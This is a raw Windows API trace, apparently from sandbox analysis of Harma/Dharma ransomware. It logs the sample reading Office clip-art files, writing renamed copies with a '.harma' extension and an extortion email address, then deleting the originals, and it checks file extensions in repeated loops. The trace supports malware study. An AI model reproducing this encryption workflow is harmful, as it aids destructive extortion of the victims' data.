[0144.454] lstrlenW (lpString="BD19563_.GIF") returned 12 [0144.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0144.456] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=20454) returned 1 [0144.456] CloseHandle (hObject=0x214) returned 1 [0144.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 0x20 [0144.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0144.456] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.457] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0144.769] GetLastError () returned 0x0 [0144.769] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x4fe6, lpOverlapped=0x0) returned 1 [0144.771] WriteFile (in: hFile=0x368, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x4ff0, lpOverlapped=0x0) returned 1 [0144.772] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0144.772] WriteFile (in: hFile=0x368, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.772] SetEndOfFile (hFile=0x368) returned 1 [0144.773] CloseHandle (hObject=0x368) returned 1 [0144.773] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.773] SetEndOfFile (hFile=0x214) returned 1 [0144.776] CloseHandle (hObject=0x214) returned 1 [0144.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0144.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0144.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0144.777] lstrlenW (lpString=".doc") returned 4 [0144.777] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0144.777] lstrlenW (lpString=".docx") returned 5 [0144.777] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0144.777] lstrlenW (lpString=".pdf") returned 4 [0144.777] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0144.777] lstrlenW (lpString=".xls") returned 4 [0144.778] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0144.778] lstrlenW (lpString=".xlsx") returned 5 [0144.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0144.778] lstrlenW (lpString=".ppt") returned 4 [0144.778] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0144.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0144.778] lstrlenW (lpString=".zip") returned 4 [0144.778] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0144.778] lstrlenW (lpString=".rar") returned 4 [0144.778] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0144.778] lstrlenW (lpString=".bz2") returned 4 [0144.778] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0144.778] lstrlenW (lpString=".7z") returned 3 [0144.778] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0144.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0144.778] lstrlenW (lpString=".dbf") returned 4 [0144.778] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0144.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0144.778] lstrlenW (lpString=".1cd") returned 4 [0144.778] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0144.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0144.778] lstrlenW (lpString=".jpg") returned 4 [0144.778] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0144.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0144.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0144.778] lstrlenW (lpString=".doc") returned 4 [0144.778] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0144.778] lstrlenW (lpString=".docx") returned 5 [0144.778] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0144.778] lstrlenW (lpString=".pdf") returned 4 [0144.779] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0144.779] lstrlenW (lpString=".xls") returned 4 [0144.779] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0144.779] lstrlenW (lpString=".xlsx") returned 5 [0144.779] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0144.779] lstrlenW (lpString=".ppt") returned 4 [0144.779] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0144.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0144.779] lstrlenW (lpString=".zip") returned 4 [0144.779] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0144.779] lstrlenW (lpString=".rar") returned 4 [0144.779] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0144.779] lstrlenW (lpString=".bz2") returned 4 [0144.779] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0144.779] lstrlenW (lpString=".7z") returned 3 [0144.779] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0144.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0144.779] lstrlenW (lpString=".dbf") returned 4 [0144.779] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0144.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0144.779] lstrlenW (lpString=".1cd") returned 4 [0144.779] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0144.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0144.779] lstrlenW (lpString=".jpg") returned 4 [0144.779] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0144.779] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0144.779] lstrlenW (lpString="BL00098_.WMF") returned 12 [0144.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0144.780] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1012) returned 1 [0144.780] CloseHandle (hObject=0x214) returned 1 [0144.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x20 [0144.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0144.781] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.781] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0144.781] GetLastError () returned 0x0 [0144.781] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x3f4, lpOverlapped=0x0) returned 1 [0144.783] WriteFile (in: hFile=0x368, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x400, lpOverlapped=0x0) returned 1 [0144.784] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0144.784] WriteFile (in: hFile=0x368, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.784] SetEndOfFile (hFile=0x368) returned 1 [0144.784] CloseHandle (hObject=0x368) returned 1 [0144.785] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.785] SetEndOfFile (hFile=0x214) returned 1 [0144.787] CloseHandle (hObject=0x214) returned 1 [0144.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0144.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0144.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0144.788] lstrlenW (lpString=".doc") returned 4 [0144.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.788] lstrlenW (lpString=".docx") returned 5 [0144.788] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.788] lstrlenW (lpString=".pdf") returned 4 [0144.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.789] lstrlenW (lpString=".xls") returned 4 [0144.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.789] lstrlenW (lpString=".xlsx") returned 5 [0144.789] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.789] lstrlenW (lpString=".ppt") returned 4 [0144.789] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0144.789] lstrlenW (lpString=".zip") returned 4 [0144.789] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.789] lstrlenW (lpString=".rar") returned 4 [0144.789] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.789] lstrlenW (lpString=".bz2") returned 4 [0144.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.789] lstrlenW (lpString=".7z") returned 3 [0144.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0144.789] lstrlenW (lpString=".dbf") returned 4 [0144.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0144.789] lstrlenW (lpString=".1cd") returned 4 [0144.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0144.789] lstrlenW (lpString=".jpg") returned 4 [0144.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0144.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0144.789] lstrlenW (lpString=".doc") returned 4 [0144.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.789] lstrlenW (lpString=".docx") returned 5 [0144.790] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.790] lstrlenW (lpString=".pdf") returned 4 [0144.790] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.790] lstrlenW (lpString=".xls") returned 4 [0144.790] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.790] lstrlenW (lpString=".xlsx") returned 5 [0144.790] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.790] lstrlenW (lpString=".ppt") returned 4 [0144.790] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0144.790] lstrlenW (lpString=".zip") returned 4 [0144.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.790] lstrlenW (lpString=".rar") returned 4 [0144.790] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.790] lstrlenW (lpString=".bz2") returned 4 [0144.790] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.790] lstrlenW (lpString=".7z") returned 3 [0144.790] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0144.790] lstrlenW (lpString=".dbf") returned 4 [0144.790] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0144.790] lstrlenW (lpString=".1cd") returned 4 [0144.790] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0144.790] lstrlenW (lpString=".jpg") returned 4 [0144.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.790] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0144.791] lstrlenW (lpString="BL00105_.WMF") returned 12 [0144.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0144.792] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=880) returned 1 [0144.792] CloseHandle (hObject=0x214) returned 1 [0144.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x20 [0144.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0144.792] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.792] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0144.793] GetLastError () returned 0x0 [0144.793] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x370, lpOverlapped=0x0) returned 1 [0144.794] WriteFile (in: hFile=0x368, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x380, lpOverlapped=0x0) returned 1 [0144.795] ReadFile (in: hFile=0x214, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0144.795] WriteFile (in: hFile=0x368, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.795] SetEndOfFile (hFile=0x368) returned 1 [0144.795] CloseHandle (hObject=0x368) returned 1 [0144.796] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.796] SetEndOfFile (hFile=0x214) returned 1 [0144.799] CloseHandle (hObject=0x214) returned 1 [0144.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0144.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0144.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0144.800] lstrlenW (lpString=".doc") returned 4 [0144.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.800] lstrlenW (lpString=".docx") returned 5 [0144.800] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.800] lstrlenW (lpString=".pdf") returned 4 [0144.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.800] lstrlenW (lpString=".xls") returned 4 [0144.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.800] lstrlenW (lpString=".xlsx") returned 5 [0144.800] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.800] lstrlenW (lpString=".ppt") returned 4 [0144.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0144.801] lstrlenW (lpString=".zip") returned 4 [0144.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.801] lstrlenW (lpString=".rar") returned 4 [0144.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.801] lstrlenW (lpString=".bz2") returned 4 [0144.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.801] lstrlenW (lpString=".7z") returned 3 [0144.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0144.801] lstrlenW (lpString=".dbf") returned 4 [0144.801] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0144.801] lstrlenW (lpString=".1cd") returned 4 [0144.801] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0144.801] lstrlenW (lpString=".jpg") returned 4 [0144.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0144.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0144.801] lstrlenW (lpString=".doc") returned 4 [0144.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.801] lstrlenW (lpString=".docx") returned 5 [0144.802] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.802] lstrlenW (lpString=".pdf") returned 4 [0144.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.802] lstrlenW (lpString=".xls") returned 4 [0144.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.802] lstrlenW (lpString=".xlsx") returned 5 [0144.802] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.802] lstrlenW (lpString=".ppt") returned 4 [0144.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0144.802] lstrlenW (lpString=".zip") returned 4 [0144.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.802] lstrlenW (lpString=".rar") returned 4 [0144.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.802] lstrlenW (lpString=".bz2") returned 4 [0144.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.802] lstrlenW (lpString=".7z") returned 3 [0144.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0144.802] lstrlenW (lpString=".dbf") returned 4 [0144.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0144.802] lstrlenW (lpString=".1cd") returned 4 [0144.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0144.803] lstrlenW (lpString=".jpg") returned 4 [0144.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.803] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0144.803] lstrlenW (lpString="BL00122_.WMF") returned 12 [0144.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0144.804] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=10146) returned 1 [0144.804] CloseHandle (hObject=0x214) returned 1 [0144.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x20 